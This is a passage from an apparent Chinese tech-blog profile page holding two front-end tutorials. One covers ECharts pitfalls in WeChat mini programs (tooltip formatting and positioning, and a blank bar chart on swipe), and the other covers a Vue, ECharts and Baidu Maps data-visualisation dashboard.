            color: '#999',
          }
        },
        axisLabel: {
          color: '#666',
          fontSize: 13
        }
      }],
      series: [{
        name: '订单总额',
        type: 'line',
        label: {
          normal: {
            show: true,// 是否在折线点上显示数值
            position: 'inside'
          }
        },
        data: echartsData.totalRecentRansactions.allTotalMoney
      }]
    };
  }

遇到的坑

1.Tooltip支持不好

echarts官网说明
虽然官网上echarts暂时不支持Tooltip,但是经过试验,还是Tooltip还是有效果的,但是,x轴对应的坐标值并不会显示在Tooltip中,需要使用Tooltipformatter函数,自己处理需要展示的数据,代码如下:

// 格式化Tooltip
  formatterTooltip(param) {
    return "日期:" + param[0].name + "\n" + param[0].seriesName + ": " + param[0].data
  },

2.当点击靠近屏幕右侧或者底部的item项时,Tooltip会溢出边界,解决办法:

Tooltipposition函数返回一个根据点击位置计算的坐标点,(也可以给一个固定的位置,但是体验不好)

 // 更改Tooltip的位置,处理边界超出的情况
  setTooltipPositionfunction(point, params, dom, rect, size) {
    //其中point为当前鼠标的位置,size中有两个属性:viewSize和contentSize,分别为外层div和tooltip提示框的大小
    // 更改提示框的显示位置
    let x = point[0];//
    let y = point[1];
    // size: 包括 dom 的尺寸和 echarts 容器的当前尺寸,例如:{contentSize: [width, height], viewSize: [width, height]}
    let boxWidth = size.contentSize[0];
    // let boxHeight = size.contentSize[1]; // size里面此处获取不到dom的高度,值为NAN,所以下面指定了一个固定值
    let boxHeight = 50;
    let posX = 0;//x坐标位置
    let posY = 0;//y坐标位置
    if (x < boxWidth) {//左边放不开
      posX = 5;
    } else {//左边放的下
      posX = x - boxWidth;
    }

    if (y < boxHeight) {//上边放不开
      posY = 5;
    } else {//上边放得下
      posY = y - boxHeight;
    }
    return [posX, posY];
  },

上面需要注意的是,获取dom的高度,官方上说的是可以从position回调函数的size参数中获取到dom的高度,但是我打印出来却是NAN
image
打印出来结果:

image
后来发现参数paramsouterWidth的值和参数sizecontentSize的宽度值相同,所以果断取参数params中的outerHeight作为dom的高度,最后运行的效果确实没有问题。

image

3.左右滑动柱状图时,柱状图画板会变空白,点一下空白又会出现柱状图,而且这个问题只有在柱状图上出现!

刚开始以为是自己代码的问题,后来自己检查了几遍,确实没什么问题,然后扫码体验了官方的小程序demo,发现也有这个问题,顿时只想对它口吐芬芳。既然是官方代码自身的问题,于是去看了下源码,如下:

<canvas class="ec-canvas" canvas-id="{{ canvasId }}" bindinit="init" bindtouchstart="{{ ec.disableTouch ? '' : 'touchStart' }}" bindtouchmove="{{ ec.disableTouch ? '' : 'touchMove' }}" bindtouchend="{{ ec.disableTouch ? '' : 'touchEnd' }}"></canvas>

官方代码给画布绑定一个bindtouchmove事件

touchMove(e) {
      if (this.chart && e.touches.length > 0) {
        var touch = e.touches[0];
        var handler = this.chart.getZr().handler;
        handler.dispatch('mousemove', {
          zrX: touch.x,
          zrY: touch.y
        });
        handler.processGesture(wrapTouch(e), 'change');
      }
    },

这里面又去调用了echarts.js中的方法,最后想了一个粗暴的解决办法:

删掉源码中的bindtouchmove事件

完美解决,哈哈或或红红火火恍恍惚惚~~~

image

以上就是我在小程序中使用echarts遇到的坑,希望能帮到后来踩坑的人。

最终效果图片

image

Demo源码

点 这 里

image

查看原文

赞 19 收藏 11 评论 6

eric2014 收藏了文章 · 2020-03-16

微信小程序中使用echarts以及踩坑总结

人在家中坐,锅从天上来

半个月前本来在家写着一个项目,还没来得及提测,领导突然一个电话,需要立刻去支援另一个项目,一打听,一个烂尾半年的项目,纵使内心不愿意,还是要去啊。因为鲁迅说过,生活就像强*,既然不能反抗,那就好好享受吧。

这个项目分为PC端、用户端小程序和商家端小程序,这里主要讲讲在商家端中的某个模块,需要用到数据统计图表,当时觉得有两个插件不错:

因为之前在项目中使用echarts比较多,所以最终选择了echarts作为项目中的图表插件。

echarts的引入

我是按照echarts官网教程来引入的,很简单,不多说。传送门

echarts中使用多个图表

wxml代码如下:

<!--图表1-->
<view class="echarts-container" hidden="{{!isShoweyes || !echartsData.totalRecentRansactions.allTotalMoney}}">
    <ec-canvas id="mychart-dom-turnover" canvas-id="mychart-turnover" ec="{{ turnoverEc }}"></ec-canvas>
</view>
<!--图表2-->
<view class="echarts-container" hidden="{{!isShoweyes || !echartsData.shopNewCustomerRespVo.allNewCustomer}}">
    <ec-canvas id="mychart-dom-customer" canvas-id="mychart-customer" ec="{{ customerEc }}"></ec-canvas>
</view>
<!--图表3-->
<view class="echarts-container" hidden="{{!isShoweyes || !echartsData.customerOrderAverageRespVo.customerAverage}}">
    <ec-canvas id="mychart-dom-price" canvas-id="mychart-price" ec="{{ priceEc }}"></ec-canvas>
</view>

js代码如下

<!--通过lazyLoad设置图表懒加载-->
data: {
    isShoweyes: true,
    turnoverEc: {
      lazyLoad: true,
    },
    customerEc: {
      lazyLoad: true,
    },
    priceEc: {
      lazyLoad: true,
    },
    echartsData: {}
  },
  
<!--页面加载时创建对应的canvas面板-->
onLoad: function (options) {
    this.echartsComponnet1 = this.selectComponent('#mychart-dom-turnover');
    this.echartsComponnet2 = this.selectComponent('#mychart-dom-customer');
    this.echartsComponnet3 = this.selectComponent('#mychart-dom-price');
  },
  <!--获取到数据后,初始化报表-->
  getData: function () {
    //  .... 获取数据
    
    <!--此用循环初始化几个图表-->
    for (let i = 1; i < 4; i++) {
        if (!Chart[i]) {
          this.initEcharts(i); //初始化图表
        } else {
          this.setOption(i); //更新数据
        }
      }
  },
  <!--//初始化图表-->
  initEcharts: function (i) {
    this['echartsComponnet' + i].init((canvas, width, height) => {
      // 初始化图表
      Chart[i - 1] = echarts.init(canvas, null, {
        width: width,
        height: height
      });
      this.setOption(i);
      // 注意这里一定要返回 chart 实例,否则会影响事件处理等
      return Chart[i - 1];
    });
  },
  setOption: function (i) {
    Chart[i - 1].clear(); // 清除
    Chart[i - 1].setOption(this['getOption' + i]()); //获取新数据
  },
  
  <!--设置报表需要的配置项-->
  getOption1() {
    let {
      echartsData
    } = this.data;
    return {
      color: ['#0179FF'],
      tooltip: {
        trigger: 'axis',
        axisPointer: { // 坐标轴指示器,坐标轴触发有效
          type: 'shadow', // 默认为直线,可选为:'line' | 'shadow'
          shadowStyle: {
            opacity: 0.8
          }
        },
        formatter: this.formatterTooltip,
        position: this.setTooltipPositionfunction
      },
      grid: {
        left: 20,
        right: 20,
        bottom: 15,
        top: 40,
        containLabel: true
      },
      xAxis: [{
        type: 'category',
        axisLine: {
          lineStyle: {
            color: '#999',
          }
        },
        axisLabel: {
          color: '#666',
        },
        data: echartsData.totalRecentRansactions.dates,
      }
      ],
      yAxis: [{
        type: 'value',
        axisTick: {
          show: false
        },
        axisLine: {
          show: false,
          lineStyle: {
            color: '#999',
          }
        },
        axisLabel: {
          color: '#666',
          fontSize: 13
        }
      }],
      series: [{
        name: '订单总额',
        type: 'line',
        label: {
          normal: {
            show: true,// 是否在折线点上显示数值
            position: 'inside'
          }
        },
        data: echartsData.totalRecentRansactions.allTotalMoney
      }]
    };
  }

遇到的坑

1.Tooltip支持不好

echarts官网说明
虽然官网上echarts暂时不支持Tooltip,但是经过试验,还是Tooltip还是有效果的,但是,x轴对应的坐标值并不会显示在Tooltip中,需要使用Tooltipformatter函数,自己处理需要展示的数据,代码如下:

// 格式化Tooltip
  formatterTooltip(param) {
    return "日期:" + param[0].name + "\n" + param[0].seriesName + ": " + param[0].data
  },

2.当点击靠近屏幕右侧或者底部的item项时,Tooltip会溢出边界,解决办法:

Tooltipposition函数返回一个根据点击位置计算的坐标点,(也可以给一个固定的位置,但是体验不好)

 // 更改Tooltip的位置,处理边界超出的情况
  setTooltipPositionfunction(point, params, dom, rect, size) {
    //其中point为当前鼠标的位置,size中有两个属性:viewSize和contentSize,分别为外层div和tooltip提示框的大小
    // 更改提示框的显示位置
    let x = point[0];//
    let y = point[1];
    // size: 包括 dom 的尺寸和 echarts 容器的当前尺寸,例如:{contentSize: [width, height], viewSize: [width, height]}
    let boxWidth = size.contentSize[0];
    // let boxHeight = size.contentSize[1]; // size里面此处获取不到dom的高度,值为NAN,所以下面指定了一个固定值
    let boxHeight = 50;
    let posX = 0;//x坐标位置
    let posY = 0;//y坐标位置
    if (x < boxWidth) {//左边放不开
      posX = 5;
    } else {//左边放的下
      posX = x - boxWidth;
    }

    if (y < boxHeight) {//上边放不开
      posY = 5;
    } else {//上边放得下
      posY = y - boxHeight;
    }
    return [posX, posY];
  },

上面需要注意的是,获取dom的高度,官方上说的是可以从position回调函数的size参数中获取到dom的高度,但是我打印出来却是NAN
image
打印出来结果:

image
后来发现参数paramsouterWidth的值和参数sizecontentSize的宽度值相同,所以果断取参数params中的outerHeight作为dom的高度,最后运行的效果确实没有问题。

image

3.左右滑动柱状图时,柱状图画板会变空白,点一下空白又会出现柱状图,而且这个问题只有在柱状图上出现!

刚开始以为是自己代码的问题,后来自己检查了几遍,确实没什么问题,然后扫码体验了官方的小程序demo,发现也有这个问题,顿时只想对它口吐芬芳。既然是官方代码自身的问题,于是去看了下源码,如下:

<canvas class="ec-canvas" canvas-id="{{ canvasId }}" bindinit="init" bindtouchstart="{{ ec.disableTouch ? '' : 'touchStart' }}" bindtouchmove="{{ ec.disableTouch ? '' : 'touchMove' }}" bindtouchend="{{ ec.disableTouch ? '' : 'touchEnd' }}"></canvas>

官方代码给画布绑定一个bindtouchmove事件

touchMove(e) {
      if (this.chart && e.touches.length > 0) {
        var touch = e.touches[0];
        var handler = this.chart.getZr().handler;
        handler.dispatch('mousemove', {
          zrX: touch.x,
          zrY: touch.y
        });
        handler.processGesture(wrapTouch(e), 'change');
      }
    },

这里面又去调用了echarts.js中的方法,最后想了一个粗暴的解决办法:

删掉源码中的bindtouchmove事件

完美解决,哈哈或或红红火火恍恍惚惚~~~

image

以上就是我在小程序中使用echarts遇到的坑,希望能帮到后来踩坑的人。

最终效果图片

image

Demo源码

点 这 里

image

查看原文

eric2014 赞了文章 · 2020-03-05

vue全家桶+Echarts+百度地图,搭建数据可视化系统

本文章篇幅略长,内容有点多
大佬可根据目录选择性查阅
新人可一步步来阅读

1 前言

1.1 业务场景

突然接到产品说要做一个数据监控的系统。有线图、柱状图、地图,类似于数据可视化的方式。

本人之前从未接触过Echarts,然后需要2周拿出成果,有点慌😂😂

1.2 业务分析

拿到需求看了一下

支持用户名、密码登录,默认显示一个维度数据,然后点击可钻取进入第二维度数据,再点击进入第三维度数据展示。

大致估摸着。。。

  1. 系统搭建vue-cli
  2. vuex记录登录信息
  3. vue-router路由跳转
  4. 3个维度的页面,提取出共用的组件
  5. 各个组件开发
  6. 调节样式,增加UI
  7. 加入后台接口数据
  8. 优化显示
  9. 测试
  10. 上线

当然这不是要2周内,全做完。应该是完成步骤6。

相对于公司就我一个前端,没接触过Echarts,有问题都没人讨论的情况下。。。

心里还是忍不住想吐槽一下😒😒😒

1.3 效果展示

这里列出了第一维度页面的样式。文字请无视,哈哈。

image

2 系统安装

吐槽归吐槽,活还是要干的。😎

因为本人最熟悉的还是vue,所以还是选择了用vue全家桶来做。这部分可参考 vue build

2.1 安装node环境

  • 下载安装node环境,直接去官网下载即可 node.js
安装完后可在命令行运行node -vnpm -v 查看是否安装成功以及版本

2.2 安装Vue项目

2.2.1 安装vue

官方文档:vuejs

这里我们使用npm的方式

  • npm i vue

2.2.2 安装Vue CLI

官方文档:vue CLI

  • npm i -g @vue/cli
安装之后,你就可以在命令行中访问 vue 命令。你可以用这个命令来查看其版本。vue -V

2.2.3 创建项目

这里安装的时候,注意将我们要使用的安装上。vuexvue-router,其他可根据需要添加。

  1. 方法一
  • vue create hello-world
这里参照官方网站,有很详细的介绍。参照:vue create
  1. 方法二

使用图形化界面

  • vue ui
界面含中文,很好操作。参照:vue ui

2.2.4 安装插件

  1. 方法一

最直接也是推荐的 npm i xxx

这里介绍一下 -S -D -g 的区别

  • npm i -S xxx 文件写入dependencies,用于工程中开发时使用到的插件,会发布到生产环境如UI,JS等。
  • npm i -D xxx 文件写入devDependencies,用于工程支持类插件,不会发布到生产环境,如gulp等压缩打包工具。
  • npm i -g xxx 全局安装,如vue、ncu等。安装目录为:C:Users用户AppDataRoamingnpm
  1. 方法二

vue ui图像化界面中包含了若干插件,可点击安装,但不一定是最新版本。

同时会在hello中引入。其他和方法一没区别。

2.3 安装Echarts

这里我们为了方便,使用了npm全量引用,后期为了精简项目可单个引用。
  • npm i echarts -S

然后在main.js中添加

image

这里建议提前自定义echarts的样式,并引入到项目中。官方自定义地址:theme-builder

在页面中我们可以如下引用:
var myChart = this.$echarts.init(document.getElementById("myid"),'temp')

myid是我们要展示的echartsid

temp是我们的自定义的样式,同时官方提供了几个样式例子,可以node_modules\echarts\theme中找到。

2.4 安装element-ui

这里我们为了方便,使用了npm全量引用,后期为了精简项目可单个引用。
  • npm i element-ui -S

然后在main.js中添加

image

2.5 安装百度地图

一般vue使用百度地图有2种方式,

  • 一种是像官网那样去应用。如:BMap
  • 第二种是使用 vue-baidu-map

不管是哪一种都要去申请账号和密钥。申请地址为:百度地图密钥(ak)

这里我使用了第二种。vue-baidu-map文档

  • npm i vue-baidu-map -S

然后在main.js中添加

image

xxxxxxxx这里填写自己申请的密钥。

在页面中,参照文档,可使用标签<baidu-map/>来调用。

2.6 初始化样式

css样式初始化,简单来说就是为了各个浏览器能统一什么的。

这里我使用的是 normalize.css

下载下来后,在main.js中添加

image

基本上的准备工作都做好了,接下来就是具体的代码了。

3 项目搭建

3.1 router、vuex

我这里新建了一个router.jsstore.js,大致如下:

image

哦哈,这里路由定义是为了方便看哈,具体还是根据业务来定义。

这里的router.beforeEach 路由卫士用于是否登录校验。

然后我们在main.js中来引用。

image

更多请参考官方文档:Vue RouterVuex

3.2 Login页面

登录页面没啥,就是个form提交,由于路由中判断user.id。所以我们储存一下,然后跳转到Index页面就行。

这里只是一种方式,也可以使用CookieSession

3.3 Index页面

分析页面分成了2个大部分

  • 第一部分是 头部
  • 第二部门是 主体

image

我们将头部当做一个组件进行复用。

组件的复用可参考官方文档:https://cn.vuejs.org/v2/guide...

3.4 header页面

头部比较简单,除了一些显示外,还有一个显示当前时间。

这里我们使用了setInterval,每隔1秒去获取一下当前时间赋值给你定义的v-model就行。

同时在离开页面时,我们清理掉定时器。

这里需要我们对Vue生命周期有一定的了解。

获取当前时间的方法可参考:data-module.js

3.5 主体页面

这里分析一下页面,主要分成了3块。

  1. 左边,包含了2个折线图。
  2. 中间,包含了数字和地图。
  3. 右边,包含了柱状图和表格。
接下来主要介绍一下,自己这2周摸索出来的一些Echarts配置,适合新手,大佬轻喷。

这里需要经常翻阅 Echarts配置项API

3.5.1 Echarts基本

这里列出基本的渲染写法,具体的图形和数据只要修改option就可以了。

<template>
    <div id="myecharts" class="myecharts">
</template>

<script>
    export default {
        mounted(){
            this.drawECharts()
        },
        
        methods:{
            drawECharts(){
                // temp 是我们的自定义样式,上面安装Echarts时有介绍
                var myChart = this.$echarts.init(document.getElementById("myecharts"),'temp')
                var option = {}
                option = {
                    // 吧啦吧啦 一堆配置
                }
                // 执行渲染图形和数据的操作
                if (option && typeof option === "object") {
                    myChart.setOption(option, true)
                }
            }
        }
    }
</script>

<style>
    //  一定要设置大小,不然不出来,这玩意和canvas一样
    .myecharts{
        width : 500px;
        height : 300px;
    }
</style>

3.5.2 线形图

多多实践,就会发现每个配置和其参数的作用了。

option = {
    // 提示框(就是鼠标放上去后出现的框)
    tooltip : {
        trigger: 'axis',
        axisPointer: {
            type: 'cross',
            label: {
                backgroundColor: '#6a7985'
            }
        }
    },
    
    //  右上角的组件,用于说明,也可进行点击筛选
    legend: {
        align : 'right',
        x : 'right',
        top : 25,
        selectedMode : 'single',    //  我这里设置的单选模式
        data:['好','坏']            //  显示的第一项和第二项,这里的颜色是根据自定义主题的颜色顺序来定的
    },
    
    //  x、y轴显示一些设置,比如刻度颜色显示什么的,可在自定义主题设置一部分
    xAxis: {
        type: 'category',
        boundaryGap: false,
        data: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']
    },
    yAxis: {
        type: 'value'
    },
    // 具体配置项,根据具体项目查看官网配置项说明
    series: [
        {
            name : '好',
            data: [150, 132, 201, 534, 290, 530, 820],
            type: 'line',
            smooth: true,   //  是否平滑曲线
            areaStyle: {},
        },
        { 
            name : '坏',
            data: [82, 93, 90, 93, 129, 333, 432],
            type: 'line',
            smooth: true,
            areaStyle: {},
        }
    ]
}

// 查看Echarts的API,我们需要显示默认的一些数据,配置如下
// 默认显示坏的数据
myChart.dispatchAction({
    type: 'legendSelect',
    name: '坏',
})
//  默认显示第7个数据
myChart.dispatchAction({
    type: 'showTip',
    seriesIndex: 1,
    dataIndex: 6,
})

预览:

image

3.5.3 柱状图

这里我们直接用双柱状图来演示。

因为名字和数字需要提示和点击的功能,所以没有使用echartsy轴。

不然formatter又要写一堆,虽然用了自定义的,但最开始是用的formatter

可以实现相同展示,但无法操作,如鼠标提示和鼠标点击。

<div class="left">
    <div v-for="it in its1" :key="it.id">
        <el-tooltip class="item"  effect="light" placement="bottom-start">
            <div slot="content">名称:{{it.name}}<br/>个数:{{it.num}}</div>
            <div class="name" @click="go"> {{ it.name.substring(0,4)+'...' }}</div>
        </el-tooltip>
        <div class="num">{{ it.num }}</div>
    </div>
</div>

<div class="right">
    <div v-for="it in its2" :key="it.id">
        <el-tooltip class="item"  effect="light" placement="bottom-start">
            <div slot="content">名称:{{it.name}}<br/>个数:{{it.num}}</div>
            <div class="name" @click="go"> {{ it.name.substring(0,4)+'...' }}</div>
        </el-tooltip>
        <div class="num">{{ it.num }}</div>
    </div>
</div>

<div id="myecharts" class="myecharts">

css这里就不贴了,效果就是这2行文字刚好贴在2行柱状图前面。

接下来是echarts配置。

option = {
    // 鼠标提示框
    tooltip: {
        trigger: 'axis',
        axisPointer: {
            type: 'shadow'
        }
    },
    
    // 右边显示
    legend: {
        selectedMode:false,
        data: ['好', '坏'],
        top:5,
        right:8,
    },
    
    // 两个图坐标的位置
    grid: [
        {left: '16%', top:'10%', width: '22%', height: '86%'},
        {left: '65%', top:'10%', width: '22%', height: '86%'}
    ],
    
    // 两个图x轴的设置,这里的gridIndex就是个序号,用于区分
    xAxis: [
        {gridIndex : 0, show : false},
        {gridIndex : 1, show : false},
    ],
    
    // 两个图y轴的设置,注释的部分是用echarts本身的y轴来显示名称和数量的
    yAxis: [
        {
            gridIndex: 0,
            type: 'category',
            show : false,
            data : ['广东/12','杭州/13','北京北京/14','天津/16'],
            // axisLabel: {
            //   formatter : function(value){
            //     let arr = value.split('/')
            //     return '{a|'+arr[0]+'}\n{b|'+ arr[1]+'}';
            //   },
            //   rich: {
            //     a: {
            //       color : '#ffffff',
            //       lineHeight : 19,
            //       fontSize : 14,
            //       align: 'right',
            //     },
            //     b:{
            //       fontSize : 18,
            //       lineHeight : 19,
            //       fontWeight : 'bold',
            //       align: 'right',
            //       fontFamily : 'Digital',
            //     }
            //   }
            // }
        },
        {
            gridIndex: 1,
            show : false,
            type: 'category',
            data : ['海南/12','三亚/13','哈尔滨/14','西双版纳/16'],
            // axisLabel: {
            //   formatter : function(value){
            //     let arr = value.split('/')
            //     return '{a|'+arr[0]+'}\n{b|'+ arr[1]+'}';
            //   },
            //   rich: {
            //     a: {
            //       color : '#ffffff',
            //       lineHeight : 19,
            //       fontSize : 14,
            //       align: 'right',
            //     },
            //     b:{
            //       fontSize : 18,
            //       lineHeight : 19,
            //       fontWeight : 'bold',
            //       align: 'right',
            //       fontFamily : 'Digital',
            //     }
            //   }
            // }
        },
    ],
    
    //  渲染图形和数据,bar是柱状图
    //  barWidth 柱状的宽度
    //  两类两套,所以有4组数据,使用xAxisIndex、yAxisIndex来区分。
    series: [
        {
            name: '好',
            type: 'bar',
            barWidth  : 5,
            barMinHeight : 5,
            barGap : '100%',
            xAxisIndex: 0,
            yAxisIndex: 0,
            data: [0, 3489, 9022234, 922228],
            label: {
                normal: {
                    position: 'right',
                    show: true
                }
            },
        },
        
        {
            name: '坏',
            type: 'bar',
            barWidth  : 5,
            barMinHeight : 5,
            xAxisIndex: 0,
            yAxisIndex: 0,
            data: [0, 2438, 3300, 1594],
            label: {
                normal: {
                    position: 'right',
                    show: true
                }
             },
        },
        {
            name: '好',
            type: 'bar',
            barWidth  : 5,
            barMinHeight : 10,
            barGap : '100%',
            xAxisIndex: 1,
            yAxisIndex: 1,
            data: [8203, 3489, 9034, 222],
            label: {
                normal: {
                    position: 'right',
                    show: true
                }
            },
        },
        {
            name: '坏',
            type: 'bar',
            barWidth  : 5,
            barMinHeight : 5,
            xAxisIndex: 1,
            yAxisIndex: 1,
            data: [445, 2438, 3300, 555],
            label: {
                normal: {
                    position: 'right',
                    show: true
                }
            },
        },
    ]
}

预览:

image

3.5.4 表格

table我这里使用了element-ui加上修改 UI 默认css 和 滚动条的 css

这里列出一项,其他写法相似。

<el-table
    :data="tableData"
    height="252"
    style="min-width: 100%;">
    <el-table-column
        prop="date"
        min-width="12"
        header-align="center"
        label="时间">
        <template slot-scope="scope">
            <template v-if="scope.row.if == '1'">
                <img data-original="../../assets/img/new.png"/>
                <div style="color:#E63136;margin-top:-27px;margin-left:35px;">
                    {{scope.row.date}}
                </div>
            </template>
            <template v-else>
                <div style="margin-left:35px;">
                    {{ scope.row.date }}
                </div>
            </template>
        </template>
    </el-table-column>
</el-table>
  • UI 样式

UI css的修改,这里我使用了自定义字体哦,完全copy是不起作用的。

其他的设置项不做说明,F12打开,随便玩。

.el-table thead {
    color: #FFFFFF;
}

.el-table {
    color: #00A5F6;
    font-family: 'Regular';
    background-color: rgba(0, 0, 0, 0.03);
    th {
        padding: 2px 0;
        background-color: #003260; 
    }
    th.is-leaf {
        border-bottom: 0px solid #EBEEF5;
    }
    tr {
        background-color: rgba(0, 0, 0, 0.03);
    }
    td {
        border-bottom: 1px solid #2c3547;
        padding: 2px 0;
    }
    
    .el-table::before {
        height: 0px;
        z-index: 0;
        background-color: #2c3547;
    }
}
  • 滚动条的样式

随意改变看看效果就懂了,谷歌浏览器 😅

/* scrollbar */

::-webkit-scrollbar {
  width: 8px;
  height: 1px;
  background-color:transparent;
}
::-webkit-scrollbar-thumb {
  border-radius: 10px;
  background: #adabab;
}
::-webkit-scrollbar-track {
  border-radius: 10px;
  background:#394d63;
}

预览:

image

3.5.5 百度地图

vue-baidu-map 文档
<baidu-map 
    :center="map.center"        //  地图中心经纬 {lng: 114.023598, lat: 33.589299}
    :scroll-wheel-zoom="true"   //  地图是否滚轮缩放
    :zoom="map.zoom"            //  默认地图尺寸
    :mapStyle="mapStyle"        //  地图样式
    class="baidumap">           //  地图宽高
    <template v-for="(it,index) in ms">     //  标点
        <bm-marker 
            :key="it.id" 
            :position="it.position"         //  标点位置
            @click="markclick(it,index)"    //  标点点击事件
            @mouseover="markover(it,index)" //  鼠标移动到标点上的事件
            :icon="it.if? iocn:newincon"    //  标点的样式
            @mouseout="markout(it,index)">  //  鼠标从标点移走的事件
            <bm-info-window
                :show="it.show"             //  标点提示框的显示true/false
                :position="it.position">    //  提示框坐标
                <p v-text="it.mess"></p>    //  提示框内容
            </bm-info-window>
        </bm-marker>
    </template>
</baidu-map>

预览:
image

3.5.6 矢量地图

Echarts矢量地图的类型有

  • type:'scatter' 散点气泡图,可在地图中显示不用颜色程度的点
  • type:'effectScatter' 有涟漪特效动画的散点图
  • type:'map' 地理区域的数据可视化
  • type:'lines' 地图航线、路线的可视化

引入地图

require('echarts/map/js/china.js')
require('echarts/map/js/province/beijing.js')

这里我有问题,我要引入全国的省份,就要多写30多个require,有没有大佬能给出更好的办法?

找到一个全量引用的方法

const rjs = require.context('echarts/map/js/province')
rjs.keys().forEach(rjs)

可以替代

require('echarts/map/js/province/beijing.js')
require('echarts/map/js/province/shanxi.js')
require('echarts/map/js/province/neimenggu.js')
等等等。。。

地图配置:

option = {
    //  鼠标提示
    tooltip : {
        trigger: 'item',
        formatter : function(params){
            var val = params.data
            return '名称:'+val.name+',个数:'+val.value[2]+'<br/>'+'总数:'+val.tol+',个数:'+val.un
        },
    },
    
    //  不同颜色的点
    visualMap: [
        {
            min: 0,
            max: 1,
            show : false,
            inRange: {
                color: ['#01cae2', '#e63136',]
            },
            dimension : 3,
        },
    ],

    // 地图样式
    geo: {
        map: 'china',   // 地图样式,当为‘北京’时,会显示北京地图   
        roam : true,    
        label: {
            emphasis: {
                show: true
            }
        },
        zoom : 1.2,     //  初始大小
        scaleLimit : {
            min : 1.2,  //  最小缩放
            max : 6     //  最大缩放
        },
        regions : regions(data)     // 省份样式方法
    },

    series : [
        {
            name: '分布',
            type: 'scatter',
            coordinateSystem: 'geo',    //  地图配置
            data: convertData(data.sort(function (a, b) {   //  数据方法
                return b.value - a.value;
            })),
            encode: {
                value : 2
            },
            hoverAnimation: true,
            itemStyle: {
                normal: {
                    // color: '#FF3030',
                    shadowBlur: 1,
                }
            },
        }
    ]
};

当点击省份地图时,我们可以进入省份地图的矢量图

myChart.on('click',function(params){
    option.geo.map =  '北京'
    myChart.setOption(option, true);
})

预览:

image


image

4 后记

目前还没有接入后端数据,就是全前台的一个展示。很多都是全量引入,后续待成熟后,可慢慢精简。

总结一下:Vue入门 + Echarts入门 ,希望能对你有用!!!😜😜😜

感谢支持。若不足之处,欢迎大家指出,共勉。

如果觉得不错,记得 点赞,谢谢大家 😂

欢迎关注 我的:【Github】【掘金】【简书】【CSDN】【OSCHINA】【SF】

本文章采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。

出处为:https://github.com/xrkffgg/Tools

查看原文

赞 35 收藏 24 评论 21

认证与成就

  • 获得 2 次点赞
  • 获得 14 枚徽章 获得 0 枚金徽章, 获得 3 枚银徽章, 获得 11 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2014-10-15
个人主页被 873 人浏览